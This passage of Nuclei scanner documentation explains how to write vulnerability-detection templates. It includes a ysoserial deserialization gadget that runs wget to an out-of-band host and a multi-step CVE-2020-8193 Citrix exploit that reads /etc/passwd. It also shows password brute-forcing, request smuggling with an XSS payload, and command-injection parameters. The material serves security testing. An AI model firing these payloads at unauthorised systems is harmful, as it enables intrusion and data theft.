| ip_format(ip string, format string) string It takes an input ip and converts it to another format according to this legend, the second parameter indicates the conversion index and must be between 1 and 11 ip_format(\"127.0.0.1\", 3) 0177.0.0.01 | ||
|
|
||
| Deserialization helper functions | ||
| Nuclei allows payload generation for a few common gadget from ysoserial. | ||
|
|
||
| Supported Payload: | ||
| ``` | ||
| dns (URLDNS) | ||
| commons-collections3.1 | ||
| commons-collections4.0 | ||
| jdk7u21 | ||
| jdk8u20 | ||
| groovy1 | ||
| ``` | ||
| Supported encodings: | ||
| ``` | ||
| base64 (default) | ||
| gzip-base64 | ||
| gzip | ||
| hex | ||
| raw | ||
| ``` | ||
| Deserialization helper function format: | ||
|
|
||
| ``` | ||
| {{generate_java_gadget(payload, cmd, encoding)}} | ||
| ``` | ||
| Deserialization helper function example: | ||
|
|
||
| ``` | ||
| {{generate_java_gadget(\"commons-collections3.1\", \"wget http://{{interactsh-url}}\", \"base64\")}} | ||
| ``` | ||
| JSON helper functions | ||
| Nuclei allows manipulate JSON strings in different ways, here is a list of its functions: | ||
|
|
||
| generate_jwt, to generates a JSON Web Token (JWT) using the claims provided in a JSON string, the signature, and the specified algorithm. | ||
| json_minify, to minifies a JSON string by removing unnecessary whitespace. | ||
| json_prettify, to prettifies a JSON string by adding indentation. | ||
| Examples | ||
|
|
||
| generate_jwt | ||
|
|
||
| To generate a JSON Web Token (JWT), you have to supply the JSON that you want to sign, at least. | ||
|
|
||
| Here is a list of supported algorithms for generating JWTs with generate_jwt function (case-insensitive): | ||
| ``` | ||
| HS256 | ||
| HS384 | ||
| HS512 | ||
| RS256 | ||
| RS384 | ||
| RS512 | ||
| PS256 | ||
| PS384 | ||
| PS512 | ||
| ES256 | ||
| ES384 | ||
| ES512 | ||
| EdDSA | ||
| NONE | ||
| ``` | ||
| Empty string (\"\") also means NONE. | ||
|
|
||
| Format: | ||
|
|
||
| ``` | ||
| {{generate_jwt(json, algorithm, signature, maxAgeUnix)}} | ||
| ``` | ||
|
|
||
| Arguments other than json are optional. | ||
|
|
||
| Example: | ||
|
|
||
| ``` | ||
| variables: | ||
| json: | # required | ||
| { | ||
| \"foo\": \"bar\", | ||
| \"name\": \"John Doe\" | ||
| } | ||
| alg: \"HS256\" # optional | ||
| sig: \"this_is_secret\" # optional | ||
| age: \'{{to_unix_time(\"2032-12-30T16:30:10+00:00\")}}\' # optional | ||
| jwt: \'{{generate_jwt(json, alg, sig, age)}}\' | ||
| ``` | ||
| The maxAgeUnix argument is to set the expiration \"exp\" JWT standard claim, as well as the \"iat\" claim when you call the function. | ||
|
|
||
| json_minify | ||
|
|
||
| Format: | ||
|
|
||
| ``` | ||
| {{json_minify(json)}} | ||
| ``` | ||
| Example: | ||
|
|
||
| ``` | ||
| variables: | ||
| json: | | ||
| { | ||
| \"foo\": \"bar\", | ||
| \"name\": \"John Doe\" | ||
| } | ||
| minify: \"{{json_minify(json)}}\" | ||
| ``` | ||
| minify variable output: | ||
|
|
||
| ``` | ||
| { \"foo\": \"bar\", \"name\": \"John Doe\" } | ||
| ``` | ||
| json_prettify | ||
|
|
||
| Format: | ||
|
|
||
| ``` | ||
| {{json_prettify(json)}} | ||
| ``` | ||
| Example: | ||
|
|
||
| ``` | ||
| variables: | ||
| json: \'{\"foo\":\"bar\",\"name\":\"John Doe\"}\' | ||
| pretty: \"{{json_prettify(json)}}\" | ||
| ``` | ||
| pretty variable output: | ||
|
|
||
| ``` | ||
| { | ||
| \"foo\": \"bar\", | ||
| \"name\": \"John Doe\" | ||
| } | ||
| ``` | ||
|
|
||
| resolve | ||
|
|
||
| Format: | ||
|
|
||
| ``` | ||
| {{ resolve(host, format) }} | ||
| ``` | ||
| Here is a list of formats available for dns type: | ||
| ``` | ||
| 4 or a | ||
| 6 or aaaa | ||
| cname | ||
| ns | ||
| txt | ||
| srv | ||
| ptr | ||
| mx | ||
| soa | ||
| caa | ||
| ``` | ||
|
|
||
|
|
||
|
|
||
| # Preprocessors | ||
| Review details on pre-processors for Nuclei | ||
| Certain pre-processors can be specified globally anywhere in the template that run as soon as the template is loaded to achieve things like random ids generated for each template run. | ||
|
|
||
| ``` | ||
| {{randstr}} | ||
| ``` | ||
| Generates a random ID for a template on each nuclei run. This can be used anywhere in the template and will always contain the same value. randstr can be suffixed by a number, and new random ids will be created for those names too. Ex. {{randstr_1}} which will remain same across the template. | ||
|
|
||
| randstr is also supported within matchers and can be used to match the inputs. | ||
|
|
||
| For example: | ||
|
|
||
| ``` | ||
| http: | ||
| - method: POST | ||
| path: | ||
| - \"{{BaseURL}}/level1/application/\" | ||
| headers: | ||
| cmd: echo \'{{randstr}}\' | ||
|
|
||
| matchers: | ||
| - type: word | ||
| words: | ||
| - \'{{randstr}}\' | ||
| ``` | ||
|
|
||
| OOB Testing | ||
| Understanding OOB testing with Nuclei Templates | ||
| Since release of Nuclei v2.3.6, Nuclei supports using the interactsh API to achieve OOB based vulnerability scanning with automatic Request correlation built in. It’s as easy as writing {{interactsh-url}} anywhere in the request, and adding a matcher for interact_protocol. Nuclei will handle correlation of the interaction to the template & the request it was generated from allowing effortless OOB scanning. | ||
|
|
||
|
|
||
| Interactsh Placeholder | ||
|
|
||
| {{interactsh-url}} placeholder is supported in http and network requests. | ||
|
|
||
| An example of nuclei request with {{interactsh-url}} placeholders is provided below. These are replaced on runtime with unique interactsh URLs. | ||
|
|
||
| ``` | ||
| - raw: | ||
| - | | ||
| GET /plugins/servlet/oauth/users/icon-uri?consumerUri=https://{{interactsh-url}} HTTP/1.1 | ||
| Host: {{Hostname}} | ||
| ``` | ||
|
|
||
| Interactsh Matchers | ||
| Interactsh interactions can be used with word, regex or dsl matcher/extractor using following parts. | ||
|
|
||
| part | ||
| ``` | ||
| interactsh_protocol | ||
| interactsh_request | ||
| interactsh_response | ||
| interactsh_protocol | ||
| ``` | ||
| Value can be dns, http or smtp. This is the standard matcher for every interactsh based template with DNS often as the common value as it is very non-intrusive in nature. | ||
|
|
||
| interactsh_request | ||
|
|
||
| The request that the interactsh server received. | ||
|
|
||
| interactsh_response | ||
|
|
||
| The response that the interactsh server sent to the client. | ||
|
|
||
| # Example of Interactsh DNS Interaction matcher: | ||
|
|
||
| ``` | ||
| matchers: | ||
| - type: word | ||
| part: interactsh_protocol # Confirms the DNS Interaction | ||
| words: | ||
| - \"dns\" | ||
| ``` | ||
| Example of HTTP Interaction matcher + word matcher on Interaction content | ||
|
|
||
| ``` | ||
| matchers-condition: and | ||
| matchers: | ||
| - type: word | ||
| part: interactsh_protocol # Confirms the HTTP Interaction | ||
| words: | ||
| - \"http\" | ||
|
|
||
| - type: regex | ||
| part: interactsh_request # Confirms the retrieval of /etc/passwd file | ||
| regex: | ||
| - \"root:[x*]:0:0:\" | ||
| ``` | ||
|
|
||
|
|
||
|
|
||
| --------------------- | ||
|
|
||
|
|
||
|
|
||
| ## Protocols : | ||
|
|
||
| # HTTP Protocol : | ||
|
|
||
| ### Basic HTTP | ||
|
|
||
| Nuclei offers extensive support for various features related to HTTP protocol. Raw and Model based HTTP requests are supported, along with options Non-RFC client requests support too. Payloads can also be specified and raw requests can be transformed based on payload values along with many more capabilities that are shown later on this Page. | ||
|
|
||
| HTTP Requests start with a request block which specifies the start of the requests for the template. | ||
|
|
||
| ``` | ||
| # Start the requests for the template right here | ||
| http: | ||
| ``` | ||
|
|
||
| Method | ||
| Request method can be GET, POST, PUT, DELETE, etc. depending on the needs. | ||
|
|
||
| ``` | ||
| # Method is the method for the request | ||
| method: GET | ||
| ``` | ||
|
|
||
| ### Redirects | ||
|
|
||
| Redirection conditions can be specified per each template. By default, redirects are not followed. However, if desired, they can be enabled with redirects: true in request details. 10 redirects are followed at maximum by default which should be good enough for most use cases. More fine grained control can be exercised over number of redirects followed by using max-redirects field. | ||
|
|
||
|
|
||
| An example of the usage: | ||
|
|
||
| ``` | ||
| http: | ||
| - method: GET | ||
| path: | ||
| - \"{{BaseURL}}/login.php\" | ||
| redirects: true | ||
| max-redirects: 3 | ||
| ``` | ||
|
|
||
|
|
||
|
|
||
| ### Path | ||
| The next part of the requests is the path of the request path. Dynamic variables can be placed in the path to modify its behavior on runtime. | ||
|
|
||
| Variables start with {{ and end with }} and are case-sensitive. | ||
|
|
||
| {{BaseURL}} - This will replace on runtime in the request by the input URL as specified in the target file. | ||
|
|
||
| {{RootURL}} - This will replace on runtime in the request by the root URL as specified in the target file. | ||
|
|
||
| {{Hostname}} - Hostname variable is replaced by the hostname including port of the target on runtime. | ||
|
|
||
| {{Host}} - This will replace on runtime in the request by the input host as specified in the target file. | ||
|
|
||
| {{Port}} - This will replace on runtime in the request by the input port as specified in the target file. | ||
|
|
||
| {{Path}} - This will replace on runtime in the request by the input path as specified in the target file. | ||
|
|
||
| {{File}} - This will replace on runtime in the request by the input filename as specified in the target file. | ||
|
|
||
| {{Scheme}} - This will replace on runtime in the request by protocol scheme as specified in the target file. | ||
|
|
||
| An example is provided below - https://example.com:443/foo/bar.php | ||
| ``` | ||
| Variable Value | ||
| {{BaseURL}} https://example.com:443/foo/bar.php | ||
| {{RootURL}} https://example.com:443 | ||
| {{Hostname}} example.com:443 | ||
| {{Host}} example.com | ||
| {{Port}} 443 | ||
| {{Path}} /foo | ||
| {{File}} bar.php | ||
| {{Scheme}} https | ||
| ``` | ||
|
|
||
| Some sample dynamic variable replacement examples: | ||
|
|
||
|
|
||
|
|
||
| ``` | ||
| path: \"{{BaseURL}}/.git/config\" | ||
| ``` | ||
| # This path will be replaced on execution with BaseURL | ||
| # If BaseURL is set to https://abc.com then the | ||
| # path will get replaced to the following: https://abc.com/.git/config | ||
| Multiple paths can also be specified in one request which will be requested for the target. | ||
|
|
||
|
|
||
| ### Headers | ||
|
|
||
| Headers can also be specified to be sent along with the requests. Headers are placed in form of key/value pairs. An example header configuration looks like this: | ||
|
|
||
| ``` | ||
| # headers contain the headers for the request | ||
| headers: | ||
| # Custom user-agent header | ||
| User-Agent: Some-Random-User-Agent | ||
| # Custom request origin | ||
| Origin: https://google.com | ||
| ``` | ||
|
|
||
| ### Body | ||
| Body specifies a body to be sent along with the request. For instance: | ||
| ``` | ||
| # Body is a string sent along with the request | ||
| body: \"admin=test\" | ||
| ``` | ||
|
|
||
| Session | ||
| To maintain a cookie-based browser-like session between multiple requests, cookies are reused by default. This is beneficial when you want to maintain a session between a series of requests to complete the exploit chain or to perform authenticated scans. If you need to disable this behavior, you can use the disable-cookie field. | ||
|
|
||
| ``` | ||
| # disable-cookie accepts boolean input and false as default | ||
| disable-cookie: true | ||
| ``` | ||
|
|
||
| ### Request Condition | ||
| Request condition allows checking for the condition between multiple requests for writing complex checks and exploits involving various HTTP requests to complete the exploit chain. | ||
|
|
||
| The functionality will be automatically enabled if DSL matchers/extractors contain numbers as a suffix with respective attributes. | ||
|
|
||
| For example, the attribute status_code will point to the effective status code of the current request/response pair in elaboration. Previous responses status codes are accessible by suffixing the attribute name with _n, where n is the n-th ordered request 1-based. So if the template has four requests and we are currently at number 3: | ||
|
|
||
| status_code: will refer to the response code of request number 3 | ||
| status_code_1 and status_code_2 will refer to the response codes of the sequential responses number one and two | ||
| For example with status_code_1, status_code_3, andbody_2: | ||
|
|
||
| ``` | ||
| matchers: | ||
| - type: dsl | ||
| dsl: | ||
| - \"status_code_1 == 404 && status_code_2 == 200 && contains((body_2), \'secret_string\')\" | ||
| ``` | ||
| Request conditions might require more memory as all attributes of previous responses are kept in memory | ||
|
|
||
| Example HTTP Template | ||
| The final template file for the .git/config file mentioned above is as follows: | ||
|
|
||
| ``` | ||
| id: git-config | ||
|
|
||
| info: | ||
| name: Git Config File | ||
| author: Ice3man | ||
| severity: medium | ||
| description: Searches for the pattern /.git/config on passed URLs. | ||
|
|
||
| http: | ||
| - method: GET | ||
| path: | ||
| - \"{{BaseURL}}/.git/config\" | ||
| matchers: | ||
| - type: word | ||
| words: | ||
| - \"[core]\" | ||
| ``` | ||
|
|
||
|
|
||
| ### Raw HTTP | ||
| Another way to create request is using raw requests which comes with more flexibility and support of DSL helper functions, like the following ones (as of now it’s suggested to leave the Host header as in the example with the variable {{Hostname}}), All the Matcher, Extractor capabilities can be used with RAW requests in same the way described above. | ||
|
|
||
| ``` | ||
| http: | ||
| - raw: | ||
| - | | ||
| POST /path2/ HTTP/1.1 | ||
| Host: {{Hostname}} | ||
| Content-Type: application/x-www-form-urlencoded | ||
|
|
||
| a=test&b=pd | ||
| ``` | ||
| Requests can be fine-tuned to perform the exact tasks as desired. Nuclei requests are fully configurable meaning you can configure and define each and every single thing about the requests that will be sent to the target servers. | ||
|
|
||
| RAW request format also supports various helper functions letting us do run time manipulation with input. An example of the using a helper function in the header. | ||
|
|
||
| ``` | ||
| - raw: | ||
| - | | ||
| GET /manager/html HTTP/1.1 | ||
| Host: {{Hostname}} | ||
| Authorization: Basic {{base64(\'username:password\')}} | ||
| ``` | ||
| To make a request to the URL specified as input without any additional tampering, a blank Request URI can be used as specified below which will make the request to user specified input. | ||
|
|
||
| ``` | ||
| - raw: | ||
| - | | ||
| GET HTTP/1.1 | ||
| Host: {{Hostname}} | ||
| ``` | ||
|
|
||
| # HTTP Payloads | ||
|
|
||
| Overview | ||
| Nuclei engine supports payloads module that allow to run various type of payloads in multiple format, It’s possible to define placeholders with simple keywords (or using brackets {{helper_function(variable)}} in case mutator functions are needed), and perform batteringram, pitchfork and clusterbomb attacks. The wordlist for these attacks needs to be defined during the request definition under the Payload field, with a name matching the keyword, Nuclei supports both file based and in template wordlist support and Finally all DSL functionalities are fully available and supported, and can be used to manipulate the final values. | ||
|
|
||
| Payloads are defined using variable name and can be referenced in the request in between {{ }} marker. | ||
|
|
||
|
|
||
| Examples | ||
| An example of the using payloads with local wordlist: | ||
|
|
||
|
|
||
| # HTTP Intruder fuzzing using local wordlist. | ||
| ``` | ||
| payloads: | ||
| paths: params.txt | ||
| header: local.txt | ||
| ``` | ||
| An example of the using payloads with in template wordlist support: | ||
|
|
||
|
|
||
| # HTTP Intruder fuzzing using in template wordlist. | ||
| ``` | ||
| payloads: | ||
| password: | ||
| - admin | ||
| - guest | ||
| - password | ||
| ``` | ||
| Note: be careful while selecting attack type, as unexpected input will break the template. | ||
|
|
||
| For example, if you used clusterbomb or pitchfork as attack type and defined only one variable in the payload section, template will fail to compile, as clusterbomb or pitchfork expect more than one variable to use in the template. | ||
|
|
||
|
|
||
| ### Attack modes: | ||
| Nuclei engine supports multiple attack types, including batteringram as default type which generally used to fuzz single parameter, clusterbomb and pitchfork for fuzzing multiple parameters which works same as classical burp intruder. | ||
|
|
||
| Type batteringram pitchfork clusterbomb | ||
| Support ✔ ✔ ✔ | ||
|
|
||
| batteringram | ||
| The battering ram attack type places the same payload value in all positions. It uses only one payload set. It loops through the payload set and replaces all positions with the payload value. | ||
|
|
||
|
|
||
| pitchfork | ||
| The pitchfork attack type uses one payload set for each position. It places the first payload in the first position, the second payload in the second position, and so on. | ||
|
|
||
| It then loops through all payload sets at the same time. The first request uses the first payload from each payload set, the second request uses the second payload from each payload set, and so on. | ||
|
|
||
|
|
||
| clusterbomb | ||
| The cluster bomb attack tries all different combinations of payloads. It still puts the first payload in the first position, and the second payload in the second position. But when it loops through the payload sets, it tries all combinations. | ||
|
|
||
| It then loops through all payload sets at the same time. The first request uses the first payload from each payload set, the second request uses the second payload from each payload set, and so on. | ||
|
|
||
| This attack type is useful for a brute-force attack. Load a list of commonly used usernames in the first payload set, and a list of commonly used passwords in the second payload set. The cluster bomb attack will then try all combinations. | ||
|
|
||
|
|
||
|
|
||
| Attack Mode Example | ||
| An example of the using clusterbomb attack to fuzz. | ||
|
|
||
| ``` | ||
| http: | ||
| - raw: | ||
| - | | ||
| POST /?file={{path}} HTTP/1.1 | ||
| User-Agent: {{header}} | ||
| Host: {{Hostname}} | ||
|
|
||
| attack: clusterbomb # Defining HTTP fuzz attack type | ||
| payloads: | ||
| path: helpers/wordlists/prams.txt | ||
| header: helpers/wordlists/header.txt | ||
| ``` | ||
|
|
||
| # HTTP Payloads Examples | ||
| Review some HTTP payload examples for Nuclei | ||
|
|
||
| ### HTTP Intruder fuzzing | ||
| This template makes a defined POST request in RAW format along with in template defined payloads running clusterbomb intruder and checking for string match against response. | ||
|
|
||
| ``` | ||
| id: multiple-raw-example | ||
| info: | ||
| name: Test RAW Template | ||
| author: princechaddha | ||
| severity: info | ||
|
|
||
| # HTTP Intruder fuzzing with in template payload support. | ||
|
|
||
| http: | ||
|
|
||
| - raw: | ||
| - | | ||
| POST /?username=§username§¶mb=§password§ HTTP/1.1 | ||
| User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) | ||
| Host: {{Hostname}} | ||
| another_header: {{base64(\'§password§\')}} | ||
| Accept: */* | ||
| body=test | ||
|
|
||
| payloads: | ||
| username: | ||
| - admin | ||
|
|
||
| password: | ||
| - admin | ||
| - guest | ||
| - password | ||
| - test | ||
| - 12345 | ||
| - 123456 | ||
|
|
||
| attack: clusterbomb # Available: batteringram,pitchfork,clusterbomb | ||
|
|
||
| matchers: | ||
| - type: word | ||
| words: | ||
| - \"Test is test matcher text\" | ||
| ``` | ||
|
|
||
| ### Fuzzing multiple requests | ||
| This template makes a defined POST request in RAW format along with wordlist based payloads running clusterbomb intruder and checking for string match against response. | ||
|
|
||
| ``` | ||
| id: multiple-raw-example | ||
| info: | ||
| name: Test RAW Template | ||
| author: princechaddha | ||
| severity: info | ||
|
|
||
| http: | ||
|
|
||
| - raw: | ||
| - | | ||
| POST /?param_a=§param_a§¶mb=§param_b§ HTTP/1.1 | ||
| User-Agent: §param_a§ | ||
| Host: {{Hostname}} | ||
| another_header: {{base64(\'§param_b§\')}} | ||
| Accept: */* | ||
|
|
||
| admin=test | ||
|
|
||
| - | | ||
| DELETE / HTTP/1.1 | ||
| User-Agent: nuclei | ||
| Host: {{Hostname}} | ||
|
|
||
| {{sha256(\'§param_a§\')}} | ||
|
|
||
| - | | ||
| PUT / HTTP/1.1 | ||
| Host: {{Hostname}} | ||
|
|
||
| {{html_escape(\'§param_a§\')}} + {{hex_encode(\'§param_b§\')}} | ||
|
|
||
| attack: clusterbomb # Available types: batteringram,pitchfork,clusterbomb | ||
| payloads: | ||
| param_a: payloads/prams.txt | ||
| param_b: payloads/paths.txt | ||
|
|
||
| matchers: | ||
| - type: word | ||
| words: | ||
| - \"Test is test matcher text\" | ||
| ``` | ||
|
|
||
| ### Authenticated fuzzing | ||
| This template makes a subsequent HTTP requests with defined requests maintaining sessions between each request and checking for string match against response. | ||
|
|
||
| ``` | ||
| id: multiple-raw-example | ||
| info: | ||
| name: Test RAW Template | ||
| author: princechaddha | ||
| severity: info | ||
|
|
||
| http: | ||
| - raw: | ||
| - | | ||
| GET / HTTP/1.1 | ||
| Host: {{Hostname}} | ||
| Origin: {{BaseURL}} | ||
|
|
||
| - | | ||
| POST /testing HTTP/1.1 | ||
| Host: {{Hostname}} | ||
| Origin: {{BaseURL}} | ||
|
|
||
| testing=parameter | ||
|
|
||
| cookie-reuse: true # Cookie-reuse maintain the session between all request like browser. | ||
| matchers: | ||
| - type: word | ||
| words: | ||
| - \"Test is test matcher text\" | ||
| ``` | ||
|
|
||
| Dynamic variable support | ||
|
|
||
| This template makes a subsequent HTTP requests maintaining sessions between each request, dynamically extracting data from one request and reusing them into another request using variable name and checking for string match against response. | ||
|
|
||
| ``` | ||
| id: CVE-2020-8193 | ||
|
|
||
| info: | ||
| name: Citrix unauthenticated LFI | ||
| author: princechaddha | ||
| severity: high | ||
| reference: https://github.com/jas502n/CVE-2020-8193 | ||
|
|
||
| http: | ||
| - raw: | ||
| - | | ||
| POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1 | ||
| Host: {{Hostname}} | ||
| User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 | ||
| Content-Type: application/xml | ||
| X-NITRO-USER: xpyZxwy6 | ||
| X-NITRO-PASS: xWXHUJ56 | ||
|
|
||
| <appfwprofile><login></login></appfwprofile> | ||
|
|
||
| - | | ||
| GET /menu/ss?sid=nsroot&username=nsroot&force_setup=1 HTTP/1.1 | ||
| Host: {{Hostname}} | ||
| User-Agent: python-requests/2.24.0 | ||
| Accept: */* | ||
| Connection: close | ||
|
|
||
| - | | ||
| GET /menu/neo HTTP/1.1 | ||
| Host: {{Hostname}} | ||
| User-Agent: python-requests/2.24.0 | ||
| Accept: */* | ||
| Connection: close | ||
|
|
||
| - | | ||
| GET /menu/stc HTTP/1.1 | ||
| Host: {{Hostname}} | ||
| User-Agent: python-requests/2.24.0 | ||
| Accept: */* | ||
| Connection: close | ||
|
|
||
| - | | ||
| POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1 | ||
| Host: {{Hostname}} | ||
| User-Agent: python-requests/2.24.0 | ||
| Accept: */* | ||
| Connection: close | ||
| Content-Type: application/xml | ||
| X-NITRO-USER: oY39DXzQ | ||
| X-NITRO-PASS: ZuU9Y9c1 | ||
| rand_key: §randkey§ | ||
|
|
||
| <appfwprofile><login></login></appfwprofile> | ||
|
|
||
| - | | ||
| POST /rapi/filedownload?filter=path:%2Fetc%2Fpasswd HTTP/1.1 | ||
| Host: {{Hostname}} | ||
| User-Agent: python-requests/2.24.0 | ||
| Accept: */* | ||
| Connection: close | ||
| Content-Type: application/xml | ||
| X-NITRO-USER: oY39DXzQ | ||
| X-NITRO-PASS: ZuU9Y9c1 | ||
| rand_key: §randkey§ | ||
|
|
||
| <clipermission></clipermission> | ||
|
|
||
| cookie-reuse: true # Using cookie-reuse to maintain session between each request, same as browser. | ||
|
|
||
| extractors: | ||
| - type: regex | ||
| name: randkey # Variable name | ||
| part: body | ||
| internal: true | ||
| regex: | ||
| - \"(?m)[0-9]{3,10}\\.[0-9]+\" | ||
|
|
||
| matchers: | ||
| - type: regex | ||
| regex: | ||
| - \"root:[x*]:0:0:\" | ||
| part: body | ||
| ``` | ||
|
|
||
| # Advanced HTTP | ||
|
|
||
| ### Unsafe HTTP | ||
| Learn about using rawhttp or unsafe HTTP with Nuclei | ||
| Nuclei supports rawhttp for complete request control and customization allowing any kind of malformed requests for issues like HTTP request smuggling, Host header injection, CRLF with malformed characters and more. | ||
|
|
||
| rawhttp library is disabled by default and can be enabled by including unsafe: true in the request block. | ||
|
|
||
| Here is an example of HTTP request smuggling detection template using rawhttp. | ||
|
|
||
| ``` | ||
| http: | ||
| - raw: | ||
| - |+ | ||
| POST / HTTP/1.1 | ||
| Host: {{Hostname}} | ||
| Content-Type: application/x-www-form-urlencoded | ||
| Content-Length: 150 | ||
| Transfer-Encoding: chunked | ||
|
|
||
| 0 | ||
|
|
||
| GET /post?postId=5 HTTP/1.1 | ||
| User-Agent: a\"/><script>alert(1)</script> | ||
| Content-Type: application/x-www-form-urlencoded | ||
| Content-Length: 5 | ||
|
|
||
| x=1 | ||
| - |+ | ||
| GET /post?postId=5 HTTP/1.1 | ||
| Host: {{Hostname}} | ||
|
|
||
| unsafe: true # Enables rawhttp client | ||
| matchers: | ||
| - type: dsl | ||
| dsl: | ||
| - \'contains(body, \"<script>alert(1)</script>\")\' | ||
| ``` | ||
|
|
||
|
|
||
| ### Connection Tampering | ||
| Learn more about using HTTP pipelining and connection pooling with Nuclei | ||
|
|
||
| Pipelining | ||
| HTTP Pipelining support has been added which allows multiple HTTP requests to be sent on the same connection inspired from http-desync-attacks-request-smuggling-reborn. | ||
|
|
||
| Before running HTTP pipelining based templates, make sure the running target supports HTTP Pipeline connection, otherwise nuclei engine fallbacks to standard HTTP request engine. | ||
|
|
||
| If you want to confirm the given domain or list of subdomains supports HTTP Pipelining, httpx has a flag -pipeline to do so. | ||
|
|
||
| An example configuring showing pipelining attributes of nuclei. | ||
|
|
||
| ``` | ||
| unsafe: true | ||
| pipeline: true | ||
| pipeline-concurrent-connections: 40 | ||
| pipeline-requests-per-connection: 25000 | ||
| ``` | ||
| An example template demonstrating pipelining capabilities of nuclei has been provided below: | ||
|
|
||
| ``` | ||
| id: pipeline-testing | ||
| info: | ||
| name: pipeline testing | ||
| author: princechaddha | ||
| severity: info | ||
|
|
||
| http: | ||
| - raw: | ||
| - |+ | ||
| GET /{{path}} HTTP/1.1 | ||
| Host: {{Hostname}} | ||
| Referer: {{BaseURL}} | ||
|
|
||
| attack: batteringram | ||
| payloads: | ||
| path: path_wordlist.txt | ||
|
|
||
| unsafe: true | ||
| pipeline: true | ||
| pipeline-concurrent-connections: 40 | ||
| pipeline-requests-per-connection: 25000 | ||
|
|
||
| matchers: | ||
| - type: status | ||
| part: header | ||
| status: | ||
| - 200 | ||
| ``` | ||
| ### Connection pooling | ||
| While the earlier versions of nuclei did not do connection pooling, users can now configure templates to either use HTTP connection pooling or not. This allows for faster scanning based on requirement. | ||
|
|
||
| To enable connection pooling in the template, threads attribute can be defined with respective number of threads you wanted to use in the payloads sections. | ||
|
|
||
| Connection: Close header can not be used in HTTP connection pooling template, otherwise engine will fail and fallback to standard HTTP requests with pooling. | ||
|
|
||
| An example template using HTTP connection pooling: | ||
|
|
||
| ``` | ||
| id: fuzzing-example | ||
| info: | ||
| name: Connection pooling example | ||
| author: princechaddha | ||
| severity: info | ||
|
|
||
| http: | ||
|
|
||
| - raw: | ||
| - | | ||
| GET /protected HTTP/1.1 | ||
| Host: {{Hostname}} | ||
| Authorization: Basic {{base64(\'admin:§password§\')}} | ||
|
|
||
| attack: batteringram | ||
| payloads: | ||
| password: password.txt | ||
| threads: 40 | ||
|
|
||
| matchers-condition: and | ||
| matchers: | ||
| - type: status | ||
| status: | ||
| - 200 | ||
|
|
||
| - type: word | ||
| words: | ||
| - \"Unique string\" | ||
| part: body | ||
| ``` | ||
|
|
||
| ## Request Tampering | ||
| Learn about request tampering in HTTP with Nuclei | ||
|
|
||
| ### Requests Annotation | ||
| Request inline annotations allow performing per request properties/behavior override. They are very similar to python/java class annotations and must be put on the request just before the RFC line. Currently, only the following overrides are supported: | ||
|
|
||
| @Host: which overrides the real target of the request (usually the host/ip provided as input). It supports syntax with ip/domain, port, and scheme, for example: domain.tld, domain.tld:port, http://domain.tld:port | ||
| @tls-sni: which overrides the SNI Name of the TLS request (usually the hostname provided as input). It supports any literals. The special value request.host uses the Host header and interactsh-url uses an interactsh generated URL. | ||
| @timeout: which overrides the timeout for the request to a custom duration. It supports durations formatted as string. If no duration is specified, the default Timeout flag value is used. | ||
| The following example shows the annotations within a request: | ||
|
|
||
| ``` | ||
| - | | ||
| @Host: https://projectdiscovery.io:443 | ||
| POST / HTTP/1.1 | ||
| Pragma: no-cache | ||
| Host: {{Hostname}} | ||
| Cache-Control: no-cache, no-transform | ||
| User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0 | ||
| ``` | ||
| This is particularly useful, for example, in the case of templates with multiple requests, where one request after the initial one needs to be performed to a specific host (for example, to check an API validity): | ||
|
|
||
| ``` | ||
| http: | ||
| - raw: | ||
| # this request will be sent to {{Hostname}} to get the token | ||
| - | | ||
| GET /getkey HTTP/1.1 | ||
| Host: {{Hostname}} | ||
|
|
||
| # This request will be sent instead to https://api.target.com:443 to verify the token validity | ||
| - | | ||
| @Host: https://api.target.com:443 | ||
| GET /api/key={{token}} HTTP/1.1 | ||
| Host: api.target.com:443 | ||
|
|
||
| extractors: | ||
| - type: regex | ||
| name: token | ||
| part: body | ||
| regex: | ||
| # random extractor of strings between prefix and suffix | ||
| - \'prefix(.*)suffix\' | ||
|
|
||
| matchers: | ||
| - type: word | ||
| part: body | ||
| words: | ||
| - valid token | ||
| ``` | ||
|
|
||
| Example of custom timeout annotations: | ||
|
|
||
| ``` | ||
| - | | ||
| @timeout: 25s | ||
| POST /conf_mail.php HTTP/1.1 | ||
| Host: {{Hostname}} | ||
| Content-Type: application/x-www-form-urlencoded | ||
|
|
||
| mail_address=%3B{{cmd}}%3B&button=%83%81%81%5B%83%8B%91%97%90M | ||
| ``` | ||
|
|
||
| Example of sni annotation with interactsh-url: | ||
|
|
||
| ``` | ||
| - | | ||
| @tls-sni: interactsh-url | ||
| POST /conf_mail.php HTTP/1.1 | ||
| Host: {{Hostname}} | ||
| Content-Type: application/x-www-form-urlencoded | ||
|
|
||
| mail_address=%3B{{cmd}}%3B&button=%83%81%81%5B%83%8B%91%97%90M | ||
| ``` | ||
|
|
||
| # Network Protocol | ||
| Learn about network requests with Nuclei | ||
| Nuclei can act as an automatable Netcat, allowing users to send bytes across the wire and receive them, while providing matching and extracting capabilities on the response. | ||
|
|
||
| Network Requests start with a network block which specifies the start of the requests for the template. | ||
|
|
||
|
|
||
| # Start the requests for the template right here | ||
| tcp: | ||
|
|
||
| Inputs | ||
| First thing in the request is inputs. Inputs are the data that will be sent to the server, and optionally any data to read from the server. | ||
|
|
||
| At its most simple, just specify a string, and it will be sent across the network socket. | ||
|
|
||
|
|
||
| # inputs is the list of inputs to send to the server | ||
| ``` | ||
| inputs: | ||
| - data: \"TEST\r | ||
| \" | ||
| ``` | ||
| You can also send hex encoded text that will be first decoded and the raw bytes will be sent to the server. | ||
|
|
||
| ``` | ||
| inputs: | ||
| - data: \"50494e47\" | ||
| type: hex | ||
| - data: \"\r | ||
| \" | ||
| ``` | ||
| Helper function expressions can also be defined in input and will be first evaluated and then sent to the server. The last Hex Encoded example can be sent with helper functions this way: | ||
|
|
||
| ``` | ||
| inputs: | ||
| - data: \'hex_decode(\"50494e47\")\r | ||
| \' | ||
| ``` | ||
| One last thing that can be done with inputs is reading data from the socket. Specifying read-size with a non-zero value will do the trick. You can also assign the read data some name, so matching can be done on that part. | ||
|
|
||
| ``` | ||
| inputs: | ||
